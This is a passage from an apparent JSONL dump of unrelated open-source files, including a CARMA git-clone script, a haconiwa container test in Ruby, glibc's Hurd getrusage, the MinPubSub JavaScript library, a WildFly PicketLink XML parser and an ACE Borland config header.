nonzero\";\n\n for (i = 0;i < crypto_hashblocks_STATEBYTES;++i) {\n checksum[2 * i] = \"0123456789abcdef\"[15 & (h[i] >> 4)];\n checksum[2 * i + 1] = \"0123456789abcdef\"[15 & h[i]];\n }\n checksum[2 * i] = 0;\n return 0;\n}\n"} +{"text": "#!/bin/bash\n\n# Copyright (C) 2018-2020 LEIDOS.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n# use this file except in compliance with the License. You may obtain a copy of\n# the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations under\n# the License.\n\n# CARMA packages checkout script\n# Optional argument to set the root checkout directory with no ending '/' default is '~'\n\nset -exo pipefail\n\ndir=~\nwhile [[ $# -gt 0 ]]; do\n arg=\"$1\"\n case $arg in\n -d|--develop)\n BRANCH=develop\n shift\n ;;\n -r|--root)\n dir=$2\n shift\n shift\n ;;\n esac\ndone\n\ncd ${dir}/src\n\nif [[ \"$BRANCH\" = \"develop\" ]]; then\n git clone --depth=1 https://github.com/usdot-fhwa-stol/carma-msgs.git --branch $BRANCH\n git clone --depth=1 https://github.com/usdot-fhwa-stol/novatel_gps_driver.git --branch $BRANCH\n git clone --depth=1 https://github.com/usdot-fhwa-stol/carma-utils.git --branch $BRANCH\n git clone --depth=1 https://github.com/usdot-fhwa-stol/carma-messenger.git --branch $BRANCH\nelse\n git clone --depth=1 https://github.com/usdot-fhwa-stol/carma-msgs.git --branch develop\n git clone --depth=1 https://github.com/usdot-fhwa-stol/novatel_gps_driver.git --branch CARMANovatelGpsDriver_1.2.0\n git clone --depth=1 https://github.com/usdot-fhwa-stol/carma-utils.git --branch develop\n git clone --depth=1 https://github.com/usdot-fhwa-stol/carma-messenger.git --branch develop\nfi\n"} +{"text": "cmake_minimum_required(VERSION 3.0)\nproject(test_subdirectory_embed CXX)\n\nset(PYBIND11_INSTALL ON CACHE BOOL \"\")\nset(PYBIND11_EXPORT_NAME test_export)\n\nadd_subdirectory(${PYBIND11_PROJECT_DIR} pybind11)\n\n# Test basic target functionality\nadd_executable(test_cmake_build ../embed.cpp)\ntarget_link_libraries(test_cmake_build PRIVATE pybind11::embed)\n\nadd_custom_target(check $ ${PROJECT_SOURCE_DIR}/../test.py)\n\n# Test custom export group -- PYBIND11_EXPORT_NAME\nadd_library(test_embed_lib ../embed.cpp)\ntarget_link_libraries(test_embed_lib PRIVATE pybind11::embed)\n\ninstall(TARGETS test_embed_lib\n EXPORT test_export\n ARCHIVE DESTINATION bin\n LIBRARY DESTINATION lib\n RUNTIME DESTINATION lib)\ninstall(EXPORT test_export\n DESTINATION lib/cmake/test_export/test_export-Targets.cmake)\n"} +{"text": "# Copyright 2013 the V8 project authors. All rights reserved.\n# Copyright (C) 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n#\n# THIS SOFTWARE IS PROVIDED BY APPLE INC. AND ITS CONTRIBUTORS ``AS IS'' AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR ITS CONTRIBUTORS BE LIABLE FOR ANY\n# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nChecks that increased aggressiveness in sparse conditional constant propagation resultin from a node being proven to be force exit does not lead to a cascade of unsound decisions.\n\nOn success, you will see a series of \"PASS\" messages, followed by \"TEST COMPLETE\".\n\n\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS foo(array) is 8746\nPASS successfullyParsed is true\n\nTEST COMPLETE\n\n"} +{"text": "Si2\n1.0\n3.840198 0.000000 0.000000\n1.920099 3.325710 0.000000\n0.000000 -2.217138 3.135509\nSi\n2\ndirect\n0.000000 0.000000 0.000000 Si\n0.750000 0.500000 0.750000 Si\n"} +{"text": "package com.lunivore.noughtsandcrosses.ui;\n\nimport org.uispec4j.Trigger;\nimport org.uispec4j.UISpec4J;\nimport org.uispec4j.UISpecAdapter;\nimport org.uispec4j.Window;\nimport org.uispec4j.finder.ComponentMatchers;\nimport org.uispec4j.interception.WindowInterceptor;\n\nimport com.lunivore.noughtsandcrosses.NoughtsAndCrosses;\n\npublic class WindowControl implements UISpecAdapter {\n\n private Window window;\n\n public WindowControl() {\n UISpec4J.init();\n reset();\n }\n\n @Override\n public Window getMainWindow() {\n return window;\n }\n\n public void reset() {\n window = WindowInterceptor.run(new Trigger() {\n @Override\n public void run() {\n NoughtsAndCrosses.main(new String[0]);\n }\n });\n }\n\n public void destroy() {\n window.dispose();\n }\n\n @SuppressWarnings(\"unchecked\")\n public T findComponent(Class type, String name) {\n return (T)window.findUIComponent(ComponentMatchers.innerNameIdentity(name)).getAwtComponent();\n }\n}\n"} +{"text": "require 'open3'\nrequire 'fileutils'\nrequire 'timeout'\nrequire 'erb'\nrequire 'securerandom'\n\nif `whoami` =~ /root/\n### start sudo test\n\nbegin\n Haconiwa::VERSION\nrescue NameError\n load File.join(File.dirname(__FILE__), \"../mrblib/haconiwa/version.rb\")\nend\n\nBIN_PATH = File.join(File.dirname(__FILE__), \"../mruby/bin/haconiwa\") unless defined?(BIN_PATH)\n\nHACONIWA_TMP_ROOT4 = ENV['HACONIWA_TMP_ROOT4'] || \"/tmp/haconiwa/work-#{rand(65535)}-#{$$}\"\nFileUtils.rm_rf HACONIWA_TMP_ROOT4\nFileUtils.mkdir_p File.dirname(HACONIWA_TMP_ROOT4)\n\nat_exit do\n FileUtils.rm_rf File.dirname(HACONIWA_TMP_ROOT4)\nend\n\ndef run_haconiwa(subcommand, *args)\n STDERR.puts \"[testcase]\\thaconiwa #{[subcommand, *args].join(' ')}\"\n o, s = Open3.capture2(BIN_PATH, subcommand, *args)\n if s.coredump?\n raise \"[BUG] haconiwa got SEGV. Abort testing\"\n end\n puts(o) if ENV['DEBUGGING']\n return [o, s]\nend\n\ndef run_parallel(*args)\n STDERR.puts \"[testcase]\\tparallel #{[*args].join(' ')}\"\n o, e, s = Open3.capture3(\"parallel\", *args)\n if s.coredump?\n raise \"[BUG] haconiwa got SEGV. Abort testing\"\n end\n puts(o, \"--stderr--\", e) if ENV['DEBUGGING']\n return [o, e, s]\nend\n\nassert('haconiwa container cannot be invoked when same process is up') do\n haconame = \"parallel-#{rand(65535)}-#{$$}.haco\"\n Dir.chdir File.dirname(HACONIWA_TMP_ROOT4) do\n @hash = SecureRandom.hex(4)\n @rootfs = \"/var/lib/haconiwa/__test__#{@hash}\"\n container_name = \"parallel-test-#{@hash}\"\n hacosrc = File.expand_path('fixtures/just-sleep.haco.erb', File.dirname(__FILE__))\n File.open(haconame, 'w') do |haco|\n haco.puts ERB.new(File.read(hacosrc)).result(binding)\n end\n\n output, status = run_haconiwa \"create\", haconame\n assert_true status.success?, \"Process did not exit cleanly: create\"\n\n _, err, _ = run_parallel \"-j\", \"10\", BIN_PATH, \"run\", haconame, \"--\", \"/bin/sleep\", \":::\", *((10..19).to_a.map(&:to_s))\n Timeout.timeout 2 do\n until File.exist?(\"/var/run/haconiwa-#{container_name}.pid\")\n sleep 0.05\n end\n end\n\n assert_equal 9, err.scan('cannot set lock').size\n\n cnt = `pgrep haconiwa | wc -l`.chomp.to_i\n Timeout.timeout 3 do\n until cnt == 2\n sleep 0.05\n cnt = `pgrep haconiwa | wc -l`.chomp.to_i\n end\n end\n assert_equal 2, cnt\n\n system \"killall -9 sleep\"\n FileUtils.rm_rf @rootfs\n end\nend\n\n\nend\n"} +{"text": "/* getrusage -- Get resource usage information about processes. Hurd version.\n Copyright (C) 1999,2001 Free Software Foundation, Inc.\n This file is part of the GNU C Library.\n\n The GNU C Library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n The GNU C Library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with the GNU C Library; if not, write to the Free\n Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n 02111-1307 USA. */\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n/* Return resource usage information on process indicated by WHO\n and put it in *USAGE. Returns 0 for success, -1 for failure. */\nint\n__getrusage (who, usage)\n enum __rusage_who who;\n struct rusage *usage;\n{\n struct task_basic_info bi;\n struct task_events_info ei;\n struct task_thread_times_info tti;\n mach_msg_type_number_t count;\n error_t err;\n\n switch (who)\n {\n case RUSAGE_SELF:\n count = TASK_BASIC_INFO_COUNT;\n err = __task_info (__mach_task_self (), TASK_BASIC_INFO,\n\t\t\t (task_info_t) &bi, &count);\n if (err)\n\treturn __hurd_fail (err);\n\n count = TASK_EVENTS_INFO_COUNT;\n err = __task_info (__mach_task_self (), TASK_EVENTS_INFO,\n\t\t\t (task_info_t) &ei, &count);\n if (err == KERN_INVALID_ARGUMENT)\t/* microkernel doesn't implement it */\n\tmemset (&ei, 0, sizeof ei);\n else if (err)\n\treturn __hurd_fail (err);\n\n count = TASK_THREAD_TIMES_INFO_COUNT;\n err = __task_info (__mach_task_self (), TASK_THREAD_TIMES_INFO,\n\t\t\t (task_info_t) &tti, &count);\n if (err)\n\treturn __hurd_fail (err);\n\n time_value_add (&bi.user_time, &tti.user_time);\n time_value_add (&bi.system_time, &tti.system_time);\n\n memset (usage, 0, sizeof (struct rusage));\n\n usage->ru_utime.tv_sec = bi.user_time.seconds;\n usage->ru_utime.tv_usec = bi.user_time.microseconds;\n usage->ru_stime.tv_sec = bi.system_time.seconds;\n usage->ru_stime.tv_usec = bi.system_time.microseconds;\n\n /* These statistics map only approximately. */\n usage->ru_majflt = ei.pageins;\n usage->ru_minflt = ei.faults - ei.pageins;\n usage->ru_msgsnd = ei.messages_sent; /* Mach IPC, not SysV IPC */\n usage->ru_msgrcv = ei.messages_received; /* Mach IPC, not SysV IPC */\n break;\n\n case RUSAGE_CHILDREN:\n /* XXX Not implemented yet. However, zero out USAGE to be\n consistent with the wait3 and wait4 functions. */\n memset (usage, 0, sizeof (struct rusage));\n\n break;\n\n default:\n return EINVAL;\n }\n\n return 0;\n}\n\nweak_alias (__getrusage, getrusage)\n"} +{"text": "/*!\n * MinPubSub\n * Copyright(c) 2011 Daniel Lamb \n * MIT Licensed\n */\n(function (context) {\n var MinPubSub = {};\n\n // the topic/subscription hash\n var cache = context.c_ || {}; //check for 'c_' cache for unit testing\n\n MinPubSub.publish = function ( /* String */ topic, /* Array? */ args) {\n // summary: \n // Publish some data on a named topic.\n // topic: String\n // The channel to publish on\n // args: Array?\n // The data to publish. Each array item is converted into an ordered\n // arguments on the subscribed functions. \n //\n // example:\n // Publish stuff on '/some/topic'. Anything subscribed will be called\n // with a function signature like: function(a,b,c){ ... }\n //\n // publish('/some/topic', ['a','b','c']);\n\n var subs = cache[topic],\n len = subs ? subs.length : 0;\n\n //can change loop or reverse array if the order matters\n while (len--) {\n subs[len].apply(context, args || []);\n }\n };\n\n MinPubSub.subscribe = function ( /* String */ topic, /* Function */ callback) {\n // summary:\n // Register a callback on a named topic.\n // topic: String\n // The channel to subscribe to\n // callback: Function\n // The handler event. Anytime something is publish'ed on a \n // subscribed channel, the callback will be called with the\n // published array as ordered arguments.\n //\n // returns: Array\n // A handle which can be used to unsubscribe this particular subscription.\n // \n // example:\n // subscribe('/some/topic', function(a, b, c){ /* handle data */ });\n\n if (!cache[topic]) {\n cache[topic] = [];\n }\n cache[topic].push(callback);\n return [topic, callback]; // Array\n };\n\n MinPubSub.unsubscribe = function ( /* Array */ handle, /* Function? */ callback) {\n // summary:\n // Disconnect a subscribed function for a topic.\n // handle: Array\n // The return value from a subscribe call.\n // example:\n // var handle = subscribe('/some/topic', function(){});\n // unsubscribe(handle);\n\n var subs = cache[callback ? handle : handle[0]],\n callback = callback || handle[1],\n len = subs ? subs.length : 0;\n\n while (len--) {\n if (subs[len] === callback) {\n subs.splice(len, 1);\n }\n }\n };\n\n // UMD definition to allow for CommonJS, AMD and legacy window\n if (typeof module === 'object' && module.exports) {\n // CommonJS, just export\n module.exports = exports = MinPubSub;\n } else if (typeof define === 'function' && define.amd) {\n // AMD support\n define(function () {\n return MinPubSub;\n });\n } else if (typeof context === 'object') {\n // If no AMD and we are in the browser, attach to window\n context.publish = MinPubSub.publish;\n context.subscribe = MinPubSub.subscribe;\n context.unsubscribe = MinPubSub.unsubscribe;\n }\n\n})(this.window);"} +{"text": "# HTML5 魔塔样板说明文档\n\n当您打开这份帮助文档的瞬间,相信您一定是抱着幼年时的游戏开发梦想前来的。众所周知,即时游戏的开发要比非即时游戏难上许多,像素级游戏的开发又要比网格地图游戏难上许多。\n\n在非即时网格地图游戏(譬如策略战棋)中,有一类叫做“固定数值RPG”,简称“魔塔”。这是一种基于运筹学的数学优化建模游戏,虽然小众,却不失有自己的圈子。\n\n在当下,魔塔的趋势是向移动端发展,网络上也常常能见到“求手机魔塔”的提问。然而现有的工具中,NekoRPG有着比较大的局限性,游戏感较差,更是完全没法在iOS运行。而一些APP的魔塔虽然可用,但是必须要下载安装,对于安卓和苹果还必须开发不同的版本,非常麻烦。\n\n但是,现在我们有了HTML5。\nHTML5的画布(canvas)以及它被Android/iOS内置浏览器所支持的特性,可以让我们做出真正意义上的全平台覆盖的魔塔。\n\n然而,一般而言使用非RPG\nMaker制作魔塔往往需要一定的编程技术,HTML5魔塔自然也不例外。但是,为了能让大家更加注重于“做塔”本身,而不用考虑做塔以外的各种脚本问题,@艾之葵(GitHub\nckcz123)特意制作了这样一部HTML5魔塔样板。\n\n这个魔塔样板,可以让你在完全不懂任何编程语言的情况下,做出自己的H5魔塔。不会代码?没关系!只要你想做,就能做出来!\n\n继续查看文档的详细介绍,让你学会如何使用这一个样板来制作属于自己的HTML5魔塔,或者……任何非即时的网格地图游戏。\n\n本说明文档配有较为过时的B站视频教程,可供参考:[https://www.bilibili.com/video/av32781473/](https://www.bilibili.com/video/av32781473/)。\n\n==========================================================================================\n\n[继续阅读下一章:现在就做出自己的第一部H5魔塔!](start)\n"} +{"text": "# client sim for SYSTEST\n\ninclude ./config/systestENV.properties\ninclude ./config/simClient.properties\n\n# run.minLogFlushSecs=5\n\nsim.throttleSender=true\n \nmulti.controlthread.downread.threadPriority=ClientSimulatorIn\nmulti.controlthread.downread.type=SingleElement\nmulti.controlthread.downwrite.threadPriority=ClientSimulatorOut\nmulti.controlthread.downwrite.type=SingleElement\n\nmultifix.down1.controlthread.in=downread\nmultifix.down1.controlthread.out=downwrite\n\nsession.default.type=MultiFIX\nsession.default.multifix=down1\n\nsession.down.client1.port=14802\n\nsession.down.client2.senderCompId=CLT02\nsession.down.client2.targetCompId=SMC02\nsession.down.client2.nic=${CLIENT_SIM_NIC}\nsession.down.client2.hostname=${OM_HOST_FOR_CLIENT}\nsession.down.client2.port=14803\n \nsession.down.client3.senderCompId=CLT03\nsession.down.client3.targetCompId=SMC03\nsession.down.client3.nic=${CLIENT_SIM_NIC}\nsession.down.client3.hostname=${OM_HOST_FOR_CLIENT}\nsession.down.client3.port=14804\n \nsession.down.client4.senderCompId=CLT04\nsession.down.client4.targetCompId=SMC04\nsession.down.client4.nic=${CLIENT_SIM_NIC}\nsession.down.client4.hostname=${OM_HOST_FOR_CLIENT}\nsession.down.client4.port=14805\n \n \n\n\n "} +{"text": "/*\n * JBoss, Home of Professional Open Source.\n * Copyright 2013, Red Hat, Inc., and individual contributors\n * as indicated by the @author tags. See the copyright.txt file in the\n * distribution for a full listing of individual contributors.\n *\n * This is free software; you can redistribute it and/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * This software is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this software; if not, write to the Free\n * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n */\n\npackage org.wildfly.extension.picketlink.idm.model.parser;\n\nimport org.jboss.dmr.ModelNode;\nimport org.jboss.staxmapper.XMLExtendedStreamReader;\nimport org.wildfly.extension.picketlink.common.model.ModelElement;\nimport org.wildfly.extension.picketlink.idm.model.AttributedTypeEnum;\nimport org.wildfly.extension.picketlink.idm.model.CredentialHandlerResourceDefinition;\nimport org.wildfly.extension.picketlink.idm.model.CredentialTypeEnum;\nimport org.wildfly.extension.picketlink.idm.model.LDAPStoreAttributeResourceDefinition;\nimport org.wildfly.extension.picketlink.idm.model.LDAPStoreMappingResourceDefinition;\nimport org.wildfly.extension.picketlink.idm.model.SupportedTypeResourceDefinition;\n\nimport javax.xml.stream.XMLStreamException;\nimport java.util.List;\n\nimport static org.wildfly.extension.picketlink.common.model.ModelElement.COMMON_CLASS_NAME;\nimport static org.wildfly.extension.picketlink.common.model.ModelElement.COMMON_CODE;\nimport static org.wildfly.extension.picketlink.common.model.ModelElement.IDENTITY_STORE_CREDENTIAL_HANDLER;\nimport static org.wildfly.extension.picketlink.common.model.ModelElement.LDAP_STORE_ATTRIBUTE;\nimport static org.wildfly.extension.picketlink.common.model.ModelElement.LDAP_STORE_MAPPING;\nimport static org.wildfly.extension.picketlink.common.model.ModelElement.SUPPORTED_TYPE;\n\n/**\n *

    XML Reader for the subsystem schema, version 1.0.

    \n *\n * @author Pedro Silva\n */\npublic class IDMSubsystemReader_1_0 extends AbstractIDMSubsystemReader {\n\n @Override\n protected void parseLDAPMappingConfig(final XMLExtendedStreamReader reader, final ModelNode identityProviderNode,\n final List addOperations) throws XMLStreamException {\n String name = reader.getAttributeValue(\"\", COMMON_CLASS_NAME.getName());\n\n if (name == null) {\n name = reader.getAttributeValue(\"\", COMMON_CODE.getName());\n\n if (name != null) {\n name = AttributedTypeEnum.forType(name);\n }\n }\n\n ModelNode ldapMappingConfig = parseConfig(reader, LDAP_STORE_MAPPING,\n name, identityProviderNode,\n LDAPStoreMappingResourceDefinition.INSTANCE.getAttributes(), addOperations);\n\n parseElement(new ElementParser() {\n @Override\n public void parse(final XMLExtendedStreamReader reader, final ModelElement element, final ModelNode parentNode,\n List addOperations) throws XMLStreamException {\n switch (element) {\n case LDAP_STORE_ATTRIBUTE:\n parseConfig(reader, LDAP_STORE_ATTRIBUTE, LDAPStoreAttributeResourceDefinition.NAME.getName(),\n parentNode, LDAPStoreAttributeResourceDefinition.INSTANCE.getAttributes(), addOperations);\n break;\n }\n }\n }, LDAP_STORE_MAPPING, ldapMappingConfig, reader, addOperations);\n }\n\n @Override\n protected ModelNode parseCredentialHandlerConfig(XMLExtendedStreamReader reader, ModelNode identityProviderNode,\n List addOperations) throws XMLStreamException {\n String name = reader.getAttributeValue(\"\", COMMON_CLASS_NAME.getName());\n\n if (name == null) {\n name = reader.getAttributeValue(\"\", COMMON_CODE.getName());\n\n if (name != null) {\n name = CredentialTypeEnum.forType(name);\n }\n }\n\n return parseConfig(reader, IDENTITY_STORE_CREDENTIAL_HANDLER, name,\n identityProviderNode, CredentialHandlerResourceDefinition.INSTANCE.getAttributes(), addOperations);\n }\n\n @Override\n protected void parseSupportedTypeConfig(XMLExtendedStreamReader reader, ModelNode parentNode, List addOperations)\n throws XMLStreamException {\n String name = reader.getAttributeValue(\"\", COMMON_CLASS_NAME.getName());\n\n if (name == null) {\n name = reader.getAttributeValue(\"\", COMMON_CODE.getName());\n\n if (name != null) {\n name = AttributedTypeEnum.forType(name);\n }\n }\n\n parseConfig(reader, SUPPORTED_TYPE, name, parentNode,SupportedTypeResourceDefinition.INSTANCE.getAttributes(), addOperations);\n }\n}\n"} +{"text": "#\n# Copyright © 2012 - 2020 Michal Čihař \n#\n# This file is part of Weblate \n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n\nfrom functools import wraps\n\n\ndef disable_for_loaddata(signal_handler):\n \"\"\"Decorator that turns off signal handlers when loading fixture data.\"\"\"\n\n @wraps(signal_handler)\n def wrapper(*args, **kwargs):\n if kwargs.get(\"raw\"):\n return\n signal_handler(*args, **kwargs)\n\n return wrapper\n"} +{"text": "// -*- C++ -*-\n//$Id: config-win32-borland.h 92102 2010-09-30 08:14:15Z johnnyw $\n\n// The following configuration file contains defines for Borland compilers.\n\n#ifndef ACE_CONFIG_WIN32_BORLAND_H\n#define ACE_CONFIG_WIN32_BORLAND_H\n#include /**/ \"ace/pre.h\"\n\n#ifndef ACE_CONFIG_WIN32_H\n#error Use config-win32.h in config.h instead of this header\n#endif /* ACE_CONFIG_WIN32_H */\n\n#define ACE_HAS_CUSTOM_EXPORT_MACROS\n#define ACE_Proper_Export_Flag __declspec (dllexport)\n#define ACE_Proper_Import_Flag __declspec (dllimport)\n#define ACE_EXPORT_SINGLETON_DECLARATION(T) template class __declspec (dllexport) T\n#define ACE_EXPORT_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK) template class __declspec (dllexport) SINGLETON_TYPE;\n#define ACE_IMPORT_SINGLETON_DECLARATION(T) template class __declspec (dllimport) T\n#define ACE_IMPORT_SINGLETON_DECLARE(SINGLETON_TYPE, CLASS, LOCK) template class __declspec (dllimport) SINGLETON_TYPE ;\n\n// In later versions of C++Builder we will prefer inline functions by\n// default. The debug configuration of ACE is built with functions\n// out-of-line, so when linking your application against a debug ACE\n// build, you can choose to use the out-of-line functions by adding\n// ACE_NO_INLINE=1 to your project settings.\n# if !defined (__ACE_INLINE__)\n# define __ACE_INLINE__ 1\n# endif /* __ACE_INLINE__ */\n\n# define ACE_CC_NAME ACE_TEXT (\"Embarcadero C++ Builder\")\n# define ACE_CC_MAJOR_VERSION (__BORLANDC__ / 0x100)\n# define ACE_CC_MINOR_VERSION (__BORLANDC__ % 0x100)\n# define ACE_CC_BETA_VERSION (0)\n\n#if (__BORLANDC__ >= 0x620)\n# define ACE_CC_PREPROCESSOR_ARGS \"-q -Sl -o%s\"\n#else\n# define ACE_CC_PREPROCESSOR_ARGS \"-q -P- -o%s\"\n#endif\n\n// Automatically define WIN32 macro if the compiler tells us it is our\n// target platform.\n# if defined (__WIN32__) && !defined (WIN32)\n# define WIN32 1\n# endif\n\n// When building a VCL application, the main VCL header file should be\n// included before anything else. You can define ACE_HAS_VCL=1 in your\n// project settings to have this file included for you automatically.\n# if defined (ACE_HAS_VCL) && (ACE_HAS_VCL != 0)\n# include /**/ \n# endif\n\n# define ACE_CC_PREPROCESSOR \"CPP32.EXE\"\n\n# include \"ace/config-win32-common.h\"\n\n# define 